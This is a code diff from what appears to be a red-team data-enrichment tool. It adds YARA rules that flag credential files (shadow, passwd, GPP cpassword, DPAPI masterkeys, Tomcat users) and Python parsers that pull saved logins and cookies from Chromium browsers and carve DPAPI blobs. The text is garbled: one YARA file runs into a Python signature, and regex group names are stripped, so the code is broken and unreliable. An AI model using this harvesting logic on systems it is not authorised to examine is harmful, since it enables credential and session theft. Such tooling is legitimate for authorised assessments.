a/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara new file mode 100644 index 0000000..e22091a --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara @@ -0,0 +1,7 @@ +rule is_masterkey +{ + strings: + $hex_string = {02 00 00 00 00 00 00 00 00 00 00 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00} + condition: + $hex_string at 0 +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara new file mode 100644 index 0000000..d07be5b --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara @@ -0,0 +1,9 @@ +rule is_group_policy_preferences +{ + strings: + $s1 = "clsid=" + $s2 = "cpassword=" + $s3 = "neverExpires=" + condition: + $s1 and $s2 and $s3 +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara new file mode 100644 index 0000000..93b351a --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara @@ -0,0 +1,7 @@ +rule is_mcafee_sitelist +{ + strings: + $s1 = "ns:SiteLists xmlns:ns" + condition: + $s1 +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara new file mode 100644 index 0000000..63e5586 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara @@ -0,0 +1,12 @@ +rule is_new_office_document +{ + strings: + $header = { 50 4B 03 04 } + $word_str = "word/document.xml" + $excel_str = "xl/workbook.xml" + $ppt_str = "ppt/presentation.xml" + $enc_header = { D0 CF 11 E0 A1 B1 1A E1 } + $enc_str = "EncryptionInfo" nocase wide ascii + condition: + ($header at 0 and ($word_str or $excel_str or $ppt_str or $enc_str)) or ($enc_header and $enc_str) +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara new file mode 100644 index 0000000..63a2cdd --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara @@ -0,0 +1,8 @@ +rule is_ole_office_document +{ + strings: + $header = { D0 CF 11 E0 A1 B1 1A E1 } + $str = "SummaryInformation" nocase wide ascii + condition: + $header at 0 and $str +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara new file mode 100644 index 0000000..72a1c34 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara @@ -0,0 +1,7 @@ +rule is_passwd +{ + strings: + $re = /root:.+:[0-9]{,10}:[0-9]{,10}:[a-zA-Z0-9 ]{,50}:[\/a-zA-Z0-9 ]{,50}:[\/a-zA-Z0-9 ]{,50}/ + condition: + $re +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara new file mode 100644 index 0000000..8100d19 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara @@ -0,0 +1,7 @@ +import "pe" + +rule is_pe +{ + condition: + pe.is_pe +} \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara new file mode 100644 index 0000000..cc6a77a --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara @@ -0,0 +1,7 @@ +rule is_seatbelt_json +{ + strings: + $str = "{\"Type\":\"Seatbelt.Commands.HostDTO\",\"" + condition: + $str +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara new file mode 100644 index 0000000..4051010 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/shadow.yara @@ -0,0 +1,7 @@ +rule is_shadow +{ + strings: + $re = /root:.*:[0-9]{,10}:[0-9]{,10}:[0-9]{,10}:[0-9]{,10}:::/ + condition: + $re +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara new file mode 100644 index 0000000..df89160 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_downloads.yara @@ -0,0 +1,10 @@ +rule is_slack_downloads +{ + strings: + $str1 = "\"appVersion\":" + $str2 = "\"teamId\":" + $str3 = "\"downloadState\":" + $str4 = "\"downloadPath\":" + condition: + $str1 and $str2 and $str3 and $str4 +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara new file mode 100644 index 0000000..9cb68a1 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/slack_workspaces.yara @@ -0,0 +1,9 @@ +rule is_slack_workspaces +{ + strings: + $str1 = "\"domain\":" + $str2 = "\"icon\":" + $str3 = "\"image_original\":" + condition: + $str1 and $str2 and $str3 +} diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara new file mode 100644 index 0000000..7bf9617 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/tomcat.yara @@ -0,0 +1,8 @@ +rule is_tomcat_users +{ + strings: + $str1 = "" + $str2 = " ChromiumFilePath: + """ + Checks if a file path is a Chromium file (Cookies, Login Data, History, or Local State) + and returns a ChromiumFilePath object. + """ + + chromium_file_path = ChromiumFilePath(file_path) + + regex1 = re.compile( + ".*/(?P.*)/AppData/Local/(Google|Microsoft|BraveSoftware)/(?PChrome|Edge|Brave-Browser)/User Data/(?PLocal State|Default/History|Default/Login Data|Default/Cookies|Default/Network/Cookies)$" + ) + matches1 = regex1.search(file_path, re.IGNORECASE) + + if matches1: + # Chrome/Edge/Brave being normal + chromium_file_path.success = True + chromium_file_path.username = matches1.group("username").lower() + chromium_file_path.browser = matches1.group("browser").split("-")[0].lower() + + loc = file_path.find("/User Data/") + len("/User Data/") + chromium_file_path.user_data_directory = file_path[0:loc] + + match matches1.group("type"): + case "Local State": + chromium_file_path.file_type = "state" + case "Default/History": + chromium_file_path.file_type = "history" + case "Default/Login Data": + chromium_file_path.file_type = "logins" + case "Default/Cookies": + chromium_file_path.file_type = "cookies" + case "Default/Network/Cookies": + chromium_file_path.file_type = "cookies" + else: + # stupid Opera being a special case + regex2 = re.compile( + ".*/(?P.*)/AppData/Roaming/Opera Software/Opera Stable/(?PLocal State|History|Login Data|Cookies|Network/Cookies)$" + ) + matches2 = regex2.search(file_path) + + if matches2: + chromium_file_path.success = True + chromium_file_path.username = matches2.group("username").lower() + chromium_file_path.browser = "opera" + + loc = file_path.find("/Opera Stable/") + len("/Opera Stable/") + chromium_file_path.user_data_directory = file_path[0:loc] + + match matches2.group("type"): + case "Local State": + chromium_file_path.file_type = "state" + case "History": + chromium_file_path.file_type = "history" + case "Login Data": + chromium_file_path.file_type = "logins" + case "Cookies": + chromium_file_path.file_type = "cookies" + case "Network/Cookies": + chromium_file_path.file_type = "cookies" + + return chromium_file_path + + +def convert_chromium_timestamp_to_datetime(timestamp: int) -> datetime.datetime: + """Converts a Chromium timestamp value to datetime.""" + return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=timestamp) + + +async def process_chromium_history( + object_id: str, + file_path: str, + metadata: pb.Metadata, + parsed_data: pb.ParsedData, + chromium_history_q: MessageQueueProducerInterface, + chromium_downloads_q: MessageQueueProducerInterface, +) -> None: + """ + Helper that parses out the appropriate data from the "history" and "downloads" + tables from a Chromium `History` file, builds the appropriate protobuf messages, + and publishes them to the passed queues. + + TODO: do we need to chunk up the URLs into some batch size? + """ + async with aiosqlite.connect(file_path) as db: + # first parse out all of the url entries and emit one or more ChromiumHistoryMessage protobufs + async with db.execute("SELECT url,title,visit_count,typed_count,last_visit_time FROM urls") as cursor: + chromium_history_message = pb.ChromiumHistoryMessage() + chromium_history_message.metadata.CopyFrom(metadata) + + async for row in cursor: + history_entry = pb.ChromiumHistoryEntry() + + history_entry.originating_object_id = object_id + history_entry.user_data_directory = parsed_data.chromium_history.user_data_directory + history_entry.username = parsed_data.chromium_history.username + history_entry.browser = parsed_data.chromium_history.browser + + ( + history_entry.url, + history_entry.title, + history_entry.visit_count, + history_entry.typed_count, + last_visit_time, + ) = row + + last_visit_time_dt = convert_chromium_timestamp_to_datetime(last_visit_time) + history_entry.last_visit_time.FromDatetime(last_visit_time_dt) + + chromium_history_message.data.append(history_entry) + + await chromium_history_q.Send(chromium_history_message.SerializeToString()) + + # first parse out all of the downloads and emit one or more ChromiumDownloadMessage protobufs + async with db.execute("SELECT tab_url,target_path,start_time,end_time,total_bytes,danger_type FROM downloads") as cursor: + chromium_download_message = pb.ChromiumDownloadMessage() + chromium_download_message.metadata.CopyFrom(metadata) + + async for row in cursor: + download = pb.ChromiumDownload() + + download.originating_object_id = object_id + download.user_data_directory = parsed_data.chromium_history.user_data_directory + download.username = parsed_data.chromium_history.username + download.browser = parsed_data.chromium_history.browser + + ( + download.url, + download_path, + start_time, + end_time, + download.total_bytes, + danger_type, + ) = row + + download.download_path = download_path.replace("\\", "/") + start_time_dt = convert_chromium_timestamp_to_datetime(start_time) + end_time_dt = convert_chromium_timestamp_to_datetime(end_time) + download.start_time.FromDatetime(start_time_dt) + download.end_time.FromDatetime(end_time_dt) + download.danger_type = DangerType(danger_type).name + + chromium_download_message.data.append(download) + + await chromium_downloads_q.Send(chromium_download_message.SerializeToString()) + + +async def process_chromium_logins( + object_id: str, file_path: str, metadata: pb.Metadata, parsed_data: pb.ParsedData, chromium_logins_q: MessageQueueProducerInterface +) -> None: + """ + Helper that parses out the appropriate data from the "logins" table from a + Chromium `Login Data` file, builds the appropriate protobuf messages, and publishes + them to the passed queue. + """ + async with aiosqlite.connect(file_path) as db: + # first parse out all of the url entries and emit one or more ChromiumLoginMessage protobufs + async with db.execute( + "SELECT origin_url,username_value,CAST(password_value as BLOB),signon_realm,date_created,date_last_used,date_password_modified,times_used FROM logins" + ) as cursor: + chromium_login_message = pb.ChromiumLoginMessage() + chromium_login_message.metadata.CopyFrom(metadata) + + async for row in cursor: + login = pb.ChromiumLogin() + + login.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID + login.originating_object_id = object_id + login.user_data_directory = parsed_data.chromium_logins.user_data_directory + login.username = parsed_data.chromium_logins.username + login.browser = parsed_data.chromium_logins.browser + + ( + login.origin_url, + login.username_value, + login.password_value_enc, + login.signon_realm, + date_created, + date_last_used, + date_password_modified, + times_used, + ) = row + + if times_used is not None: + login.times_used = times_used + + if len(login.password_value_enc) > 0: + if login.password_value_enc.startswith(b"v10"): + login.encryption_type = "aes" + else: + blob = await parse_dpapi_blob(login.password_value_enc) + if blob.success: + login.encryption_type = "dpapi" + login.masterkey_guid = blob.dpapi_master_key_guid + else: + login.encryption_type = "unknown" + else: + login.encryption_type = "unknown" + + date_created_dt = convert_chromium_timestamp_to_datetime(date_created) + login.date_created.FromDatetime(date_created_dt) + date_last_used_dt = convert_chromium_timestamp_to_datetime(date_last_used) + login.date_last_used.FromDatetime(date_last_used_dt) + date_password_modified_dt = convert_chromium_timestamp_to_datetime(date_password_modified) + login.date_password_modified.FromDatetime(date_password_modified_dt) + + chromium_login_message.data.append(login) + + await chromium_logins_q.Send(chromium_login_message.SerializeToString()) + + +async def process_chromium_cookies( + object_id: str, file_path: str, metadata: pb.Metadata, parsed_data: pb.ParsedData, chromium_cookies_q: MessageQueueProducerInterface +) -> None: + """ + Helper that parses out the appropriate data from the "cookies" table from a + Chromium `Login Data` file, builds the appropriate protobuf messages, and publishes + them to the passed queue. + """ + async with aiosqlite.connect(file_path) as db: + # first parse out all of the url entries and emit one or more ChromiumLoginMessage protobufs + async with db.execute( + "SELECT host_key,name,path,creation_utc,expires_utc,last_access_utc,last_update_utc,is_secure,is_httponly,is_persistent,samesite,source_port,CAST(encrypted_value as BLOB) FROM cookies" + ) as cursor: + chromium_cookie_message = pb.ChromiumCookieMessage() + chromium_cookie_message.metadata.CopyFrom(metadata) + + async for row in cursor: + cookie = pb.ChromiumCookie() + + cookie.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID + cookie.originating_object_id = object_id + cookie.user_data_directory = parsed_data.chromium_cookies.user_data_directory + cookie.username = parsed_data.chromium_cookies.username + cookie.browser = parsed_data.chromium_cookies.browser + + ( + host_key, + cookie.name, + cookie.path, + creation_utc, + expires_utc, + last_access_utc, + last_update_utc, + cookie.is_secure, + cookie.is_httponly, + is_persistent, + samesite, + cookie.source_port, + cookie.value_enc, + ) = row + + cookie.host_key = host_key.lstrip(".").lower() + cookie.is_session = not is_persistent + + match samesite: + case 0: + cookie.samesite = "NONE" + case 1: + cookie.samesite = "LAX" + case 2: + cookie.samesite = "STRICT" + case _: + cookie.samesite = "UNKNOWN" + + if len(cookie.value_enc) > 0: + if cookie.value_enc.startswith(b"v10"): + cookie.encryption_type = "aes" + else: + blob = await parse_dpapi_blob(cookie.value_enc) + if blob.success: + cookie.encryption_type = "dpapi" + cookie.masterkey_guid = blob.dpapi_master_key_guid + else: + cookie.encryption_type = "unknown" + else: + cookie.encryption_type = "unknown" + + creation_dt = convert_chromium_timestamp_to_datetime(creation_utc) + cookie.creation.FromDatetime(creation_dt) + expires_dt = convert_chromium_timestamp_to_datetime(expires_utc) + cookie.expires.FromDatetime(expires_dt) + last_access_dt = convert_chromium_timestamp_to_datetime(last_access_utc) + cookie.last_access.FromDatetime(last_access_dt) + last_update_dt = convert_chromium_timestamp_to_datetime(last_update_utc) + cookie.last_update.FromDatetime(last_update_dt) + + chromium_cookie_message.data.append(cookie) + + await chromium_cookies_q.Send(chromium_cookie_message.SerializeToString()) + + +################################################## +# +# DPAPI helpers +# +# TODO: make these async? +# +################################################## + + +def parse_masterkey_file_path(file_path_orig: str) -> dict: + """ + Checks if a file path is a masterkey file, returning the username, + user SID, and masterkey file GUID if the path matches, as well + as true if the file is a machine path. + + If the file does not match a masterkey path, "None" is returned. + """ + + user_masterkey_regex = ".*/(?P[\w\. -]+)/AppData/Roaming/Microsoft/Protect/(?PS-1-[0-59]-\d{2}-\d{8,10}-\d{8,10}-\d{8,10}-[1-9]\d{3})/.*(?P[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$" + machine_masterkey_regex = ".*/System32/Microsoft/Protect/(?PS-1-[0-59]-[0-9\-]+)/.*(?P[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$" + + user_pattern = re.compile(user_masterkey_regex) + user_matches = user_pattern.search(file_path_orig) + + if user_matches: + return { + "username": user_matches.group("username"), + "sid": user_matches.group("sid"), + "guid": user_matches.group("guid"), + "is_machine_path": False, + } + else: + machine_pattern = re.compile(machine_masterkey_regex) + machine_matches = machine_pattern.search(file_path_orig) + + if machine_matches: + return {"username": "", "sid": machine_matches.group("sid"), "guid": machine_matches.group("guid"), "is_machine_path": True} + else: + return {} + + +def parse_masterkey_file(data): + """Parses DPAPI masterkey bytes to its masterkey and domainkey components. + + Returns a DpapiMasterkey protobuf. + """ + + try: + dpapi_masterkey = pb.DpapiMasterkey() + mkf = MasterKeyFile(data) + dpapi_masterkey.masterkey_guid = mkf["Guid"].decode("UTF-16-LE") + + data = data[len(mkf) :] + masterkey_len = mkf["MasterKeyLen"] + backupkey_len = mkf["BackupKeyLen"] + credhist_len = mkf["CredHistLen"] + domainkey_len = mkf["DomainKeyLen"] + + if mkf["MasterKeyLen"] > 0: + mk = MasterKey(data[:masterkey_len]) + dpapi_masterkey.masterkey_bytes = data[:masterkey_len] + data = data[len(mk) :] + + if mkf["BackupKeyLen"] > 0: + bkmk = MasterKey(data[:backupkey_len]) + data = data[len(bkmk) :] + + if mkf["CredHistLen"] > 0: + ch = CredHist(data[:credhist_len]) + data = data[len(ch) :] + + if domainkey_len > 0: + dk = DomainKey(data[:domainkey_len]) + dpapi_masterkey.domain_backupkey_guid = bin_to_string(dk["Guid"]).lower() + dpapi_masterkey.domainkey_pb_secret = dk["SecretData"] + data = data[len(dk) :] + + return dpapi_masterkey + + except: + return None + + +def process_masterkey_file(object_id, file_path, file_path_orig, metadata): + """ + Takes a Nemesis UUID representing a downloaded masterkey file, the + original file path (to extract the username/SID), and the metadata for + the file, parses the masterkey file, and returns a pb.DpapiMasterkeyMessage. + """ + + parsed_path = parse_masterkey_file_path(file_path_orig) + + with open(file_path, "rb") as f: + file_bytes = f.read() + + dpapi_masterkey = parse_masterkey_file(file_bytes) + + if dpapi_masterkey: + dpapi_masterkey.object_id = object_id + + if parsed_path and "username" in parsed_path: + dpapi_masterkey.username = parsed_path["username"] + + if parsed_path and "sid" in parsed_path: + dpapi_masterkey.user_sid = parsed_path["sid"] + + # determine the "type" of this masterkey based on the path + presence of a domain backup key + if parsed_path and "is_machine_path" in parsed_path and parsed_path["is_machine_path"]: + dpapi_masterkey.type = "machine" + elif dpapi_masterkey.domainkey_pb_secret: + dpapi_masterkey.type = "domain_user" + else: + dpapi_masterkey.type = "local_user" + + dpapi_masterkey.is_decrypted = False + + return dpapi_masterkey + + +@dataclass +class ParsedDpapiBlob: + dpapi_master_key_guid: Optional[str] = str + dpapi_data: Optional[bytes] = None + success: bool = False # true/false if parsing was successful or not + + +async def parse_dpapi_blob(blob_bytes: bytes) -> ParsedDpapiBlob: + """Async Helper that parses a single DPAPI blob to a dict of {dpapi_master_key_guid, dpapi_data}""" + + parsed_blob = ParsedDpapiBlob() + + try: + # it's a bit tricky to carve _just_ the DPAPI blob, but this is how: + blob = DPAPI_BLOB(blob_bytes) + if blob.rawData is not None: + blob.rawData = blob.rawData[: len(blob.getData())] + parsed_blob.dpapi_master_key_guid = bin_to_string(blob["GuidMasterKey"]).lower() + parsed_blob.dpapi_data = blob.rawData + parsed_blob.success = True + except Exception as e: + await logger.awarning(f"Error in parse_dpapi_blob: {e}") + + return parsed_blob + + +def parse_dpapi_blob_sync(blob_bytes: bytes) -> ParsedDpapiBlob: + """Non-aysnc Helper that parses a single DPAPI blob to a dict of {dpapi_master_key_guid, dpapi_data}""" + + parsed_blob = ParsedDpapiBlob() + + try: + # it's a bit tricky to carve _just_ the DPAPI blob, but this is how: + blob = DPAPI_BLOB(blob_bytes) + if blob.rawData is not None: + blob.rawData = blob.rawData[: len(blob.getData())] + parsed_blob.dpapi_master_key_guid = bin_to_string(blob["GuidMasterKey"]).lower() + parsed_blob.dpapi_data = blob.rawData + parsed_blob.success = True + except Exception as e: + logger.warning(f"Error in parse_dpapi_blob_sync: {e}") + + return parsed_blob + + +async def carve_dpapi_blobs_from_bytes_helper(raw_bytes: bytes, file_name: str = "", nemesis_uuid: str = "") -> List[ParsedDpapiBlob]: + """ + Helper that _just_ carves raw DPAPI blobs from bytes, + returning a list of dicts {dpapi_master_key_guid, dpapi_data} + """ + dpapi_blobs = list() + dpapi_signature = b"\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB" + + # The following are potential base64 representations of the DPAPI provider GUID + # Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/ + dpapi_b64_signatures = [b"AAAA0Iyd3wEV0RGMegDAT8KX6", b"AQAAANCMnd8BFdERjHoAwE/Cl+", b"EAAADQjJ3fARXREYx6AMBPwpfr"] + + current_pos = 0 + loc = raw_bytes.find(dpapi_signature) + while loc != -1: + current_pos = loc + # parse the blob so we get the masterkey GUID and carve the data into one blob + try: + blob = await parse_dpapi_blob(raw_bytes[current_pos:]) + if not blob.success: + if file_name != "" and nemesis_uuid != "": + await logger.awarning("carve_dpapi_blobs_from_bytes: blob.rawData is None", file_name=file_name, nemesis_uuid=nemesis_uuid) + else: + await logger.awarning("carve_dpapi_blobs_from_bytes: blob.rawData is None") + current_pos += 1 + elif blob.dpapi_data: + current_pos += len(blob.dpapi_data) + dpapi_blobs.append(blob) + except Exception as e: + if file_name != "": + await logger.awarning(f"exception parsing file {file_name} for dpapi blobs: {e}") + else: + await logger.awarning(f"exception parsing bytes for dpapi blobs: {e}") + return dpapi_blobs + loc = raw_bytes.find(dpapi_signature, current_pos) + + # check for our b64 signatures + for dpapi_b64_signature in dpapi_b64_signatures: + loc = raw_bytes.find(dpapi_b64_signature, current_pos) + while loc != -1: + end_loc = loc + # try to check for the end of the base64 string + for i in range(loc, len(raw_bytes)): + if raw_bytes[i] not in b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=": + end_loc = i + break + if end_loc != loc: + try: + dpapi_blob_raw = base64.b64decode(raw_bytes[loc:end_loc]) + blob = await parse_dpapi_blob(dpapi_blob_raw) + current_pos += (end_loc - loc) + if not blob.success: + await logger.awarning("carve_dpapi_blobs: blob.rawData is None", file_name=file_name, nemesis_uuid=nemesis_uuid) + elif blob.dpapi_data: + dpapi_blobs.append(blob) + except Exception as e: + if file_name != "": + await logger.awarning(f"exception parsing file {file_name} for b64dpapi blobs: {e}") + else: + await logger.awarning(f"exception parsing bytes for dpapi blobs: {e}") + return dpapi_blobs + loc = raw_bytes.find(dpapi_b64_signature, current_pos) + + return dpapi_blobs + + +async def carve_dpapi_blobs_from_file_helper(file_name: str, nemesis_uuid: str) -> List[ParsedDpapiBlob]: + """ + Helper that _just_ carves raw DPAPI blobs from a file, + returning a list of dicts {dpapi_master_key_guid, dpapi_data} + """ + + dpapi_blobs = list() + chunk_size = 512000 + + with open(file_name, "rb") as f: + # chunking to handle large files + while chunk := f.read(chunk_size): + dpapi_blobs += await carve_dpapi_blobs_from_bytes_helper(chunk, file_name, nemesis_uuid) + + return dpapi_blobs + + +async def carve_dpapi_blobs_from_file( + file_name: str, nemesis_uuid: str, metadata: pb.Metadata +) -> Optional[tuple[list[str], list[pb.DpapiBlobMessage]]]: + """Carves dpapi blobs from a binary file. + + Searches the specified file_name for any DPAPI blobs, extracting + the blob data and masterkey GUID for any found. For any carved blobs, + a DpapiBlob protobuf is contructed and returned. + """ + + blob_limit = 1000 + + await logger.adebug("Carving DPAPI blobs from a file", file_name=file_name) + + dpapi_blobs = await carve_dpapi_blobs_from_file_helper(file_name, nemesis_uuid) + + if len(dpapi_blobs) < blob_limit: + # parse each blob out if there are less than 1000 instances + # this is so we avoid things like Chrome DBs/etc. (for now) + + dpapi_blob_ids: List[str] = [] + dpapi_blob_messages: List[pb.DpapiBlobMessage] = [] + + for dpapi_blob in dpapi_blobs: + try: + dpapi_blob_message = pb.DpapiBlobMessage() + dpapi_blob_message.metadata.CopyFrom(metadata) + + blob_pb = dpapi_blob_message.data.add() + + # create a new UUID for this blob so the file it originated from can track it + dpapi_blob_id = f"{uuid.uuid4()}" + dpapi_blob_ids.append(dpapi_blob_id) + + blob_pb.dpapi_blob_id = dpapi_blob_id + blob_pb.originating_object_id = nemesis_uuid + blob_pb.masterkey_guid = dpapi_blob.dpapi_master_key_guid + blob_pb.is_decrypted = False + + blob_pb.enc_data_bytes = dpapi_blob.dpapi_data + + dpapi_blob_messages.append(dpapi_blob_message) + + except Exception as e: + await logger.awarning(f"Error extracting dpapi blob: {e}") + + return (dpapi_blob_ids, dpapi_blob_messages) + else: + await logger.awarning( + f"Number of DPAPI blobs in file '{file_name}' (nemesis_uuid {nemesis_uuid}) ({len(dpapi_blobs)}) exceeds the {blob_limit} limit" + ) + return None + + +async def carve_dpapi_blobs_from_reg_key( + raw_bytes: bytes, originating_registry_id: str, metadata: pb.Metadata +) -> Optional[tuple[list[str], list[pb.DpapiBlobMessage]]]: + """Carves dpapi blobs from a binary blob. + + Searches the specified file_name for any DPAPI blobs, extracting + the blob data and masterkey GUID for any found. For any carved blobs, + a DpapiBlob protobuf is contructed and returned. + """ + + blob_limit = 1000 + + await logger.adebug("Carving DPAPI blobs from a binary blob") + + dpapi_blobs = await carve_dpapi_blobs_from_bytes_helper(raw_bytes) + + if len(dpapi_blobs) < blob_limit: + # parse each blob out if there are less than 1000 instances + # this is so we avoid things like Chrome DBs/etc. (for now) + + dpapi_blob_ids: List[str] = [] + dpapi_blob_messages: List[pb.DpapiBlobMessage] = [] + + for dpapi_blob in dpapi_blobs: + try: + dpapi_blob_message = pb.DpapiBlobMessage() + dpapi_blob_message.metadata.CopyFrom(metadata) + + blob_pb = dpapi_blob_message.data.add() + + # create a new UUID for this blob so the file it originated from can track it + dpapi_blob_id = f"{uuid.uuid4()}" + dpapi_blob_ids.append(dpapi_blob_id) + + blob_pb.dpapi_blob_id = dpapi_blob_id + blob_pb.originating_registry_id = originating_registry_id + blob_pb.masterkey_guid = dpapi_blob.dpapi_master_key_guid + blob_pb.is_decrypted = False + + blob_pb.enc_data_bytes = dpapi_blob.dpapi_data + + dpapi_blob_messages.append(dpapi_blob_message) + + except Exception as e: + await logger.awarning(f"Error extracting dpapi blob: {e}") + + return (dpapi_blob_ids, dpapi_blob_messages) + else: + await logger.awarning( + f"Number of DPAPI blobs in blob (originating_registry_id {originating_registry_id}) ({len(dpapi_blobs)}) exceeds the {blob_limit} limit" + ) + return None + + +################################################## +# +# Misc helpers +# +################################################## + +def extract_binary_path(raw_file_path: str) -> Optional[str]: + """ + Adapted regex from Seatbelt/SharpUp that extracts out a binary path from + a raw (potentially quoted) file path. + """ + + match = re.search(r"^\W*(([a-z]:\\|\\\\[a-zA-Z0-9\-\.]+|system).+?(\.exe|\.dll|\.sys))\W*", raw_file_path, re.IGNORECASE) + + if match: + return match.groups()[0] + else: + return None + + +def get_py_files(src: str, only_file_modules: bool = False) -> List[str]: + """Walks a directory to retrieve all .py files. + + Ref: https://stackoverflow.com/a/57892961 + """ + + cwd = os.getcwd() + py_files = [] + for root, dirs, files in os.walk(src): + for file in files: + if file.endswith(".py"): + if only_file_modules: + # retrieve just the file modules we want to use + if (root == src) and (not file.startswith("__")) and (file != "Meta.py"): + py_files.append(os.path.split(file)[-1][:-3].lower()) + else: + py_files.append(os.path.join(cwd, root, file)) + return py_files + + +def dynamic_import(module_name: str, py_path: str): + """Dynamically imports a Python module from a supplied path. + + TODO: unsure of the exact return type here + + Ref: https://stackoverflow.com/a/57892961 + """ + + module_spec = importlib.util.spec_from_file_location(module_name, py_path) + if module_spec is None: + raise ImportError(f"module_spec is None for the supplied module_name '{module_name}' and py_path '{py_path}'") + + module = importlib.util.module_from_spec(module_spec) + if module is None: + raise ImportError(f"module is None for the supplied module_name '{module_name}' and py_path '{py_path}'") + + if module_spec.loader is None: + raise ImportError(f"module_spec.loader is None for the supplied module_name '{module_name}' and py_path '{py_path}'") + + module_spec.loader.exec_module(module) + + return module + + +def dynamic_import_from_src(src: str, star_import: bool = True): + """Enumerates all Python modules on a path and dynamically imports them. + + TODO: unsure of the exact return type here + + Ref: https://stackoverflow.com/a/57892961 + """ + sys.path.insert(0, os.getcwd() + f"/{src}") # make sure our file folder is set for those imports + my_py_files = get_py_files(src) + file_modules = get_py_files(src, True) + imported = dict() + for py_file in my_py_files: + module_name = os.path.split(py_file)[-1][:-3] + imported_module = dynamic_import(module_name, py_file) + if star_import: + for obj in dir(imported_module): + imported[obj.lower()] = imported_module.__dict__[obj] + else: + imported[module_name] = imported_module + return (imported, file_modules) + + +def hash_file(nemesis_uuid: str) -> Optional[pb.FileHashes]: + """Hashes a supplied file path. + + Reads the given nemesis UUID file from disk in 128k byte chunks + and hashes the file bytes, returning md5/sha1/sha256 digests of + the input data. + """ + + chunk_size = 128000 + file_hashes = pb.FileHashes() + + try: + with open(nemesis_uuid, "rb") as f: + md5 = hashlib.md5() + sha1 = hashlib.sha1() + sha256 = hashlib.sha256() + + while chunk := f.read(chunk_size): + md5.update(chunk) + sha1.update(chunk) + sha256.update(chunk) + + file_hashes.md5 = md5.hexdigest() + file_hashes.sha1 = sha1.hexdigest() + file_hashes.sha256 = sha256.hexdigest() + + return file_hashes + + except Exception as e: + logger.exception(e, message="Exception while hashing file", file_uuid=nemesis_uuid) + return None + + +def get_magic_type(nemesis_uuid: str) -> str: + """Gets the magic type of a file. + + Uses python-magic to retrieve the file type via libmagic for the + specified nemesis UUID file (a la the 'file' command but without subprocess). + """ + + magic_string = magic.from_file(nemesis_uuid) + + if magic_string.startswith("Composite Document File V2 Document"): + magic_string = "Composite Document File V2 Document" + + return magic_string + + +def is_dotnet_assembly(nemesis_uuid: str) -> bool: + """Returns True if the supplied file name is a .NET assembly.""" + # a bit of a hack but ended up being more reliable than the yara rule + return re.match(".*\\.Net assembly.*", get_magic_type(nemesis_uuid), re.IGNORECASE) is not None + + +def tika_compatible(file_path: str) -> bool: + """Returns True if the file can be used with Tika. + + Returns True if the 